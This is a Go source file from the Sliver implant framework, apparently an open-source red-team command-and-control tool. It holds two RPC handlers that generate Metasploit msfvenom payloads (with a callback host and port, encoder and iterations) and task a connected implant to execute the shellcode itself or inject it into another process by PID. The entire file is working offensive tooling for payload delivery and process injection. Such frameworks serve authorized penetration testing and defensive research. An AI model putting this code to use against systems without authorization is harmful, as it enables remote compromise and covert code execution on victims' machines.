/
rpc-msf.go
105 lines (92 loc) · 2.68 KB
/
rpc-msf.go
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package rpc
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"time"
clientpb "github.com/bishopfox/sliver/protobuf/client"
sliverpb "github.com/bishopfox/sliver/protobuf/sliver"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/msf"
"github.com/golang/protobuf/proto"
)
func rpcMsf(req []byte, timeout time.Duration, resp RPCResponse) {
msfReq := &clientpb.MSFReq{}
err := proto.Unmarshal(req, msfReq)
if err != nil {
resp([]byte{}, err)
return
}
sliver := core.Hive.Sliver(msfReq.SliverID)
if sliver == nil {
resp([]byte{}, err)
return
}
config := msf.VenomConfig{
Os: sliver.Os,
Arch: msf.Arch(sliver.Arch),
Payload: msfReq.Payload,
LHost: msfReq.LHost,
LPort: uint16(msfReq.LPort),
Encoder: msfReq.Encoder,
Iterations: int(msfReq.Iterations),
}
rawPayload, err := msf.VenomPayload(config)
if err != nil {
rpcLog.Warnf("Error while generating msf payload: %v\n", err)
resp([]byte{}, err)
return
}
data, _ := proto.Marshal(&sliverpb.Task{
Encoder: "raw",
Data: rawPayload,
})
data, err = sliver.Request(sliverpb.MsgTask, timeout, data)
resp(data, err)
}
func rpcMsfInject(req []byte, timeout time.Duration, resp RPCResponse) {
msfReq := &clientpb.MSFInjectReq{}
err := proto.Unmarshal(req, msfReq)
if err != nil {
resp([]byte{}, err)
return
}
sliver := core.Hive.Sliver(msfReq.SliverID)
if sliver == nil {
resp([]byte{}, err)
return
}
config := msf.VenomConfig{
Os: sliver.Os,
Arch: msf.Arch(sliver.Arch),
Payload: msfReq.Payload,
LHost: msfReq.LHost,
LPort: uint16(msfReq.LPort),
Encoder: msfReq.Encoder,
Iterations: int(msfReq.Iterations),
}
rawPayload, err := msf.VenomPayload(config)
if err != nil {
rpcLog.Errorf("Error while generating msf payload: %v\n", err)
resp([]byte{}, err)
return
}
data, _ := proto.Marshal(&sliverpb.RemoteTask{
Pid: msfReq.PID,
Encoder: "raw",
Data: rawPayload,
})
data, err = sliver.Request(sliverpb.MsgRemoteTask, timeout, data)
resp(data, err)
}